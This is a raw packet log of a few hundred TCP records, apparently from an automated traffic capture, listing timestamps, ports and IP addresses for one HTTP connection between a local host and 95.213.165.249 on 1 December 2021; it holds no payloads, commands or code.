Dec 1, 2021 10:04:54.593014002 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.593019962 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.593038082 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.593059063 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.593075037 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.593086004 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.593094110 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.593116999 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.593125105 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.593137980 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.593158007 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.593158007 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.593179941 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.593199968 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.593220949 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.593223095 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.593242884 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.593262911 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.593272924 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.593312025 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.594984055 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.595005035 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.595027924 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.595048904 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.595071077 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.595092058 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.595107079 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.595113993 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.595135927 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.595158100 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.595179081 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.595180035 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.595201015 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.595212936 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.595223904 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.595243931 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.595243931 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.595266104 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.595287085 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.595308065 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.595308065 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.595330954 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.595350027 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.595360041 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.595371008 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.595390081 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.595392942 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.595417976 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.628938913 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.628968954 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.629126072 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.647083044 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.647109032 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.647238016 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.647802114 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.647825956 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.647855043 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.647876978 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.647876978 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.647929907 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.647952080 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.647962093 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.647974014 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.647994995 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.648010015 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.648016930 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.648040056 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.648045063 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.648061991 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.648078918 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.648082972 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.648103952 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.648112059 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.648125887 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.648154974 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.650842905 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.650866985 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.650888920 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.650913000 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.650933981 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.650938988 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.650954962 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.650971889 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.650979042 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.651000977 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.651021957 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.651035070 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.651051044 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.651066065 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.651073933 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.651098013 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.651118994 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.651128054 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.651144028 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.651161909 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.651168108 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.651189089 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.651211023 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.651212931 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.651235104 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.651257038 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.651276112 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.651278019 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.651299000 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.651319027 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.651319981 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.651341915 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.651348114 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.651364088 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.651385069 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.651396036 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.651407003 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.651428938 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.651447058 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.651451111 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.651473045 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.651477098 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.651494980 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.651515961 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.651537895 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.651546955 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.651560068 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.651581049 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.651599884 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.651601076 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.651623964 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.651633024 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.651647091 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.651668072 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.651693106 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.651712894 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.651715040 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.651774883 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.652803898 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.652827978 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.652865887 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.652889967 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.652910948 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.652921915 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.652931929 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.652957916 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.652977943 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.652987957 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.653002024 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.653024912 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.653028965 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.653047085 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.653057098 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.653069019 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.653090000 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.653110027 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.653111935 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.653131962 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.653151035 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.653153896 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.653175116 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.653186083 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.653197050 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.653218031 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.653229952 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.653271914 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.654429913 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.687361956 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.687391043 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.687412024 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.687433004 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.687539101 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.687609911 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.705053091 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.705082893 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.705223083 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.705543995 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.705565929 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.705586910 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.705609083 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.705630064 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.705652952 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.705661058 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.705676079 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.705698013 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.705703974 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.705720901 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.705737114 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.705740929 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.705763102 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.705784082 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.705802917 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.705804110 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.705825090 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.705842972 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.705873013 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.710609913 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.710637093 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.710658073 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.710679054 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.710700035 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.710716009 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.710721016 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.710742950 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.710752010 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.710766077 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.710787058 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.710788012 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.710812092 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.710814953 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.710834980 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.710856915 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.710870028 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.710877895 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.710900068 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.710918903 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.710922003 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.710944891 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.710952044 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.710968018 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.710988045 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711009979 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711019039 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.711033106 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711055040 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711065054 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.711076975 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711096048 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.711098909 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711121082 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711122990 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.711146116 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711165905 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711170912 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.711189032 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711210966 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711219072 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.711231947 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711252928 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711273909 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711282015 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.711297035 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711318970 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711327076 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.711340904 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711361885 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711369991 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.711385012 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711400986 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.711406946 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711429119 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711436033 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.711451054 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711472034 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711477995 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.711494923 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711515903 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711523056 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.711538076 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711559057 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711580038 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711582899 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.711601973 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711623907 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711631060 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.711646080 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711659908 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.711668015 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711689949 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711690903 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.711711884 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711734056 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711740971 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.711754084 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711775064 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711795092 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711802959 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.711816072 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711841106 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.711863041 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711870909 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.711886883 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711910009 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711930037 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711931944 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.711952925 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711973906 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.711976051 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.711996078 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.712022066 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.713488102 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.745048046 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.745079041 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.745100021 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.745122910 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.745213032 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.762707949 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.762741089 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.762837887 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.763128996 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.763154030 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.763175011 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.763196945 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.763201952 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.763221025 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.763237000 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.763243914 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.763266087 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.763288975 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.763303041 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.763309956 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.763334036 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.763344049 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.763354063 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.763375044 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.763381004 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.763396978 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.763412952 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.763417959 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.763438940 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.763446093 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.763494968 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.769196033 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.769224882 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.769316912 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.769324064 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.769357920 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.769381046 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.769401073 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.769404888 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.769423962 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.769445896 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.769454956 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.769468069 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.769486904 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.769493103 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.769514084 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.769535065 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.769537926 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.769557953 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.769578934 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.769606113 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.769608021 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.769630909 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.769648075 CET	49826	80	192.168.2.3	95.213.165.249
